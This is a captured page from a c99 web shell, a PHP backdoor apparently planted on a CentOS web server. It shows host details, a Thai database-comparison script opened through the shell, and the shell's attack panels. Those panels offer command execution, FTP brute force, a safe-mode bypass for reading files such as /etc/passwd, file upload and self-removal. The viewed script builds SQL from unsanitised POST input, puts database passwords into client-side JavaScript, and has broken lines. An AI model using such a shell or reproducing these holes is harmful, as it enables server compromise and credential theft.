!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mis2222/xmigratex/   drwxr-xr-x
Free 52.29 GB of 127.8 GB (40.91%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     compare.php (13.01 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<link rel="stylesheet" type="text/css" href="style.css" />
<?php
include_once "special_fld.php";
include_once "cmp_func_pbri.php";

set_time_limit(0);
function findIndex($arr, $v){
	$sf = sizeof($arr);
	$index = 0;
	for($i=0;i<$sf;$i++){
		echo $arr[$i];
	//	if(strcmp($arr[$i],$v)==0){
	//		$rt[$index] = $i;
	//		$index++;
	//	}
	}
	return $rt;
}

$ts=microtime(true); 
/*
if(empty($_GET))
    echo "No GET variables";
else
    print_r($_GET); 

    $pbri_s = $_POST["pbri_s"];
    $pbri_u = $_POST["pbri_u"];
    $pbri_p = $_POST["pbri_p"];
*/
?>
<table class='tb_1' width='100%' >
<tr><td class='h2'>
<?php
    $dbreg = $_POST["dbreg"];
    $dbmoreg = $_POST["dbmoreg"];
    $dbppc = $_POST["dbppc"];

    $localhost_s = $_POST["localhost_s"];
    $localhost_u = $_POST["localhost_u"];
    $localhost_p = $_POST["localhost_p"];
    $dbNo = $_POST["dbNo"];

    //echo "tUsername = $tUsername<br>";
    //echo "tPassword = $tPassword<br>";
    //echo "dbNo = $dbNo<br>";
    if($dbNo==1) {

        $oDB = $dbreg;
        $moDB = $dbmoreg;
        $filename = 'arr_pbri.php';
        if (file_exists($filename)) {
            include_once "arr_pbri.php";
        }else{
            echo "<font color='#FF0000'>";
            echo " เกิดข้อผิดพลาด  ";
            echo "ไม่พบไฟล์ข้อมูลเทียบฟิลด์ $filename ";
            echo "</font><br>";
            die();
        }
    }elseif($dbNo==2) {

        $oDB = $dbreg;
        $moDB = $dbmoreg;
        $filename = 'arr_reg.php';
        if (file_exists($filename)) {
            include_once "arr_reg.php";
        }else{
            echo "<font color='#FF0000'>";
            echo " เกิดข้อผิดพลาด  ";
            echo "ไม่พบไฟล์ข้อมูลเทียบฟิลด์ $filename ";
            echo "</font><br>";
            die();
        }
    }elseif($dbNo==3) {

        $oDB = $dbreg;
        $moDB = $dbmoreg;
        $filename = 'arr_all_reg.php';
        if (file_exists($filename)) {
            include_once "arr_all_reg.php";
        }else{
            echo "<font color='#FF0000'>";
            echo " เกิดข้อผิดพลาด  ";
            echo "ไม่พบไฟล์ข้อมูลเทียบฟิลด์ $filename ";
            echo "</font><br>";
            die();
        }

    }elseif($dbNo==4) {

        $oDB = $dbreg;
        $moDB = $dbppc;
        $filename = 'arr_people.php';
        if (file_exists($filename)) {
            include_once "arr_people.php";
        }else{
            echo "<font color='#FF0000'>";
            echo " เกิดข้อผิดพลาด  ";
            echo "ไม่พบไฟล์ข้อมูลเทียบฟิลด์ $filename ";
            echo "</font><br>";
            die();
        }
    }

// ------------  connect 
$ln_info = mysql_connect($localhost_s, $localhost_u, $localhost_p);
if (!$ln_info) {
    echo "<font color='#FF0000'>$source_s";
    die(' ไม่สามารถเชื่อมต่อฐานข้อมูลได้ ตรวจสอบชื่อ server, user และpassword ให้ถูกต้อง: ' . mysql_error());
    echo "</font >";
}else{
	//echo "Connected $source_s successfully<br>";
}

$ln_reg = mysql_connect($localhost_s, $localhost_u, $localhost_p, true);
if (!$ln_reg) {
    echo "<font color='#FF0000'>$source_s";
    die(' ไม่สามารถเชื่อมต่อฐานข้อมูลได้ ตรวจสอบชื่อ server, user และpassword ให้ถูกต้อง: ' . mysql_error());
    echo "</font >";
}else{
	//echo "Connected $source_s successfully<br>";
    }
$ln_mo = mysql_connect($localhost_s, $localhost_u, $localhost_p, true);
if (!$ln_mo) {
    echo "<font color='#FF0000'>$local_s";
    die(' ไม่สามารถเชื่อมต่อฐานข้อมูลได้ ตรวจสอบชื่อ server, user และpassword ให้ถูกต้อง: ' . mysql_error());
    echo "</font >";
}else{
	//echo "Connected $local_s successfully<br>";
}
// -------------- select DB

$db_info = mysql_select_db('information_schema', $ln_info);
//mysql_query("SET NAMES 'utf8'", $ln_info);
if (!$db_info) {
    die ('ไม่สามารถเชื่อมต่อฐานข้อมูล information_schema ได้: ' . mysql_error());
}else{
	//echo 'db_information_schema successfully<br>';
}

$db_reg = mysql_select_db($oDB, $ln_reg);
mysql_query("SET NAMES 'utf8'", $ln_reg);
if (!$db_reg) {
    die ("ไม่สามารถเชื่อมต่อฐานข้อมูล $oDB ได้ โปรดตรวจสอบชื่อฐานข้อมูลอีกครั้ง : " . mysql_error());
}else{
	echo "เชื่อมต่อ $oDB สำเร็จ<br>";
}

$db_mo = mysql_select_db($moDB, $ln_mo);
mysql_query("SET NAMES utf8", $ln_mo); 
mysql_query("SET collation_connection = 'utf8_general_ci' ", $ln_mo);
if (!$db_mo) {
    die ("ไม่สามารถเชื่อมต่อฐานข้อมูล $ทoDB ได้ โปรดตรวจสอบชื่อฐานข้อมูลอีกครั้ง : " . mysql_error());
}else{
	echo "เชื่อมต่อ $moDB สำเร็จ<br><br>"; 
}

//echo '+++++++++++++++++++++++++++++++++++++<br><br>';
echo " * case 1 : ข้อมูลพื้นฐานของสบช.ที่วิทยาลัยยังไม่อัพเดต
<br /> * case 2 : ข้อมูลระบบทะเบียนที่มีมากกว่าข้อมูลพื้นฐานของสบช.
<br /> * case 3 : ข้อมูลที่PKตรงกันแต่ข้อมูลภายในไม่เท่ากัน <br /><br />";
$sizeoftb = sizeof($sm);
echo 'จำนวน '.$sizeoftb.' ตาราง <br>';

$records = 0;
$affected_records = 0;
?>


</td></tr>
</table>
<table class='tb_1' width='100%' >
<tr align='center'>
    <th width=20 rowspan='2'></th>
    <th colspan='4'>ฐานข้อมูล <? echo $oDB;?></th>
    <th colspan='4'>ฐานข้อมูล <? echo $moDB;?></th>
    <th rowspan='2'>ฟิลด์ที่<br />เปลี่ยนแปลง</th>
    <th colspan='3'>case</th>
</tr>
<tr align='center'>
    <td class='h2'>ชื่อตาราง</td>
    <td class='h2'>จำนวนฟิลด์<br />ที่พบ</td>
    <td class='h2'>จำนวนฟิลด์ที่<br />คัดลอกข้อมูล</td>
    <td class='h2'>จำนวน<br />แถวข้อมูล</td>
    <td class='h2'>ตาราง<br /><? echo $moDB;?></td>
    <td class='h2'>จำนวนฟิลด์<br />ที่พบ</td>
    <td class='h2'>จำนวนฟิลด์<br />ที่จัดเก็บข้อมูล</td>
    <td class='h2'>จำนวน<br />แถวข้อมูล</td>
    <td class='h2'>1</td>
    <td class='h2'>2</td>
    <td class='h2'>3</td>
</tr>
<?
for($tb_num=0; $tb_num < $sizeoftb; $tb_num++){

    if($tb_num%2==0)
        $class='class=r1';
    else
        $class='class=r1';
	$otb_name = $sm[$tb_num]['old']['name'];
	$motb_name = $sm[$tb_num]['new']['name'];

	if($otb_name!='-'){

	// หาจำนวนฟิลด์ จาก ฐานข้อมูล
	    $oQuery = "SELECT  *  FROM  `COLUMNS`  WHERE  `TABLE_SCHEMA`  LIKE  '".$oDB."'  AND `TABLE_NAME`  LIKE  '".$otb_name."'";

		$moQuery = "SELECT * FROM `COLUMNS` WHERE `TABLE_SCHEMA` LIKE '$moDB' AND `TABLE_NAME` LIKE '".$motb_name."'";

		$oRS = mysql_query($oQuery, $ln_info);
		if (!$oRS) {
			$message  = 'Invalid query: ' . mysql_error() . "\n";
			$message .= 'Whole query: ' . $oQuery;
			die($message);
		}
		$oFld_num = mysql_num_rows($oRS);

		$moRS = mysql_query($moQuery, $ln_info);
		if (!$moRS) {
			$message  = 'Invalid query: ' . mysql_error() . "\n";
			$message .= 'Whole query: ' . $moQuery;
			die($message);
		}
		$moFld_num = mysql_num_rows($moRS);
		
	// ความแตกต่างระหว่างฟิลด
		$plus = sizeof($sm[$tb_num]['plus']);
		$minus = sizeof($sm[$tb_num]['minus']);

		$oFld_numA = sizeof($sm[$tb_num]['old']['fld']) - $plus;
		$moFld_numA = sizeof($sm[$tb_num]['new']['fld']) - $minus ;

		$Fld_diff = '';
		if( $plus != 0 ){
			$Fld_diff .= "+ $plus<br>";
		}
		if( $minus != 0 ){
			$Fld_diff .= "  - $minus";
			//$rt = findIndex($sm[$tb_num]['new']['fld'], '-');
		}
?>

<?      //หาจำนวนแถวข้อมูล
    $message = "";
        $query = "SELECT * FROM `$otb_name` WHERE 1;";
        $result = mysql_query($query, $ln_reg);
        $num_row = mysql_num_rows($result);

        $query = "SELECT * FROM `$motb_name` WHERE 1;";
        $result = mysql_query($query, $ln_mo);
        $affected = mysql_num_rows($result);

        $color_f = ($num_row!=$affected)?"#FF0000":"#000000";

        $query = getQryPbriChkData($oDB,$otb_name,$moDB,$motb_name,1);
        if($query!=''){
            $result = mysql_query($query, $ln_reg);
            $num_case1 = mysql_num_rows($result);
        }else{
            $num_case1 = '-';
        }
        $query = getQryPbriChkData($oDB,$otb_name,$moDB,$motb_name,2);
        if($query!=''){
            $result = mysql_query($query, $ln_reg);
            $num_case2 = mysql_num_rows($result);
        }else{
            $num_case2 = '-';
        }
        $query = getQryPbriChkData($oDB,$otb_name,$moDB,$motb_name,3);
        if($query!=''){
            $result = mysql_query($query, $ln_reg);
            $num_case3 = mysql_num_rows($result);
        }else{
            $num_case3 = '-';
        }
?>
		<tr <?php echo $class; ?>>
            <td><?=$tb_num+1?></td>
            <td ><?=$otb_name?></td>
            <td align='right'><?=$oFld_num?></td>
            <td align='right'><?=$oFld_numA?></td>
            <td align='right'><font color=<?=$color_f?>><?=$num_row;?></font></td>

            <td ><?=$motb_name?></td>
            <td align='right'><?=$moFld_num?></td>
            <td align='right'><?=$moFld_numA?></td>
            <td align='right'><font color=<?=$color_f?>><?=$affected;?></font></td>
            <td align='right'><?=$Fld_diff;?></td>

            <td align='right' onmouseover="this.style.cursor='pointer'; "><span onClick="pop('<?=$localhost_s?>', '<?=$localhost_u?>', '<?=$localhost_p?>','<?=$oDB?>','<?=$otb_name?>','<?=$moDB?>','<?=$motb_name?>',1)">
                <font color=<? echo ($num_case1>0)?'#4400ff':'#000000';?>><?=$num_case1;?>
                </font></span>
            </td>
            <td align='right' onmouseover="this.style.cursor='pointer'; "><span onClick="pop('<?=$localhost_s?>', '<?=$localhost_u?>', '<?=$localhost_p?>','<?=$oDB?>','<?=$otb_name?>','<?=$moDB?>','<?=$motb_name?>',2)"><font color=<? echo ($num_case2>0)?'#FF0000':'#000000';?>>
                <?=$num_case2;?></font></span></td>
            <td align='right' onmouseover="this.style.cursor='pointer'; "><span onClick="pop('<?=$localhost_s?>', '<?=$localhost_u?>', '<?=$localhost_p?>','<?=$oDB?>','<?=$otb_name?>','<?=$moDB?>','<?=$motb_name?>',3)"><font color=<? echo ($num_case3>0)?'#FF0000':'#000000';?>>
                <?=$num_case3;?></font></span></td>

        </font>
		</tr>

<?
	}else{ 

        $moQuery = "SELECT * FROM `COLUMNS` WHERE `TABLE_SCHEMA` LIKE '$moDB' AND `TABLE_NAME` LIKE '".$motb_name."'";

        $moRS = mysql_query($moQuery, $ln_info);
        if (!$moRS) {
            $message  = 'Invalid query: ' . mysql_error() . "\n";
            $message .= 'Whole query: ' . $moQuery;
            die($message);
        }
        $moFld_num = mysql_num_rows($moRS);

        $moQuery = "SELECT * FROM `$motb_name`";

        $moRS = mysql_query($moQuery, $ln_mo);
        if (!$moRS) {
            $message  = 'Invalid query: ' . mysql_error() . "\n";
            $message .= 'Whole query: ' . $moQuery;
            die($message);
        }
        $affected = mysql_num_rows($moRS);


?>
        <tr><td><?=$tb_num+1?></td>
            <td><?=$otb_name?> </td>
            <td align='right'>-</td>
            <td align='right'>-</td>
            <td align='right'>-</td>
            <td><?=$motb_name?></td>
            <td align='right'><?=$moFld_num?></td>
            <td align='right'>-</td>
            <td align='right'><?=$affected?></td>
            <td align='right'>-</td>
            <td align='right'>-</td>
            <td align='right'>-</td>
            <td align='right'>-</td>
        </tr>
<?
	}// END if != '-'

} // END for $tb_num


$te=microtime(true);
$tt=($te-$ts)/60; 

mysql_close($ln_info);
mysql_close($ln_reg);
mysql_close($ln_mo);

set_time_limit(30);
?>
</table>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0058 ]--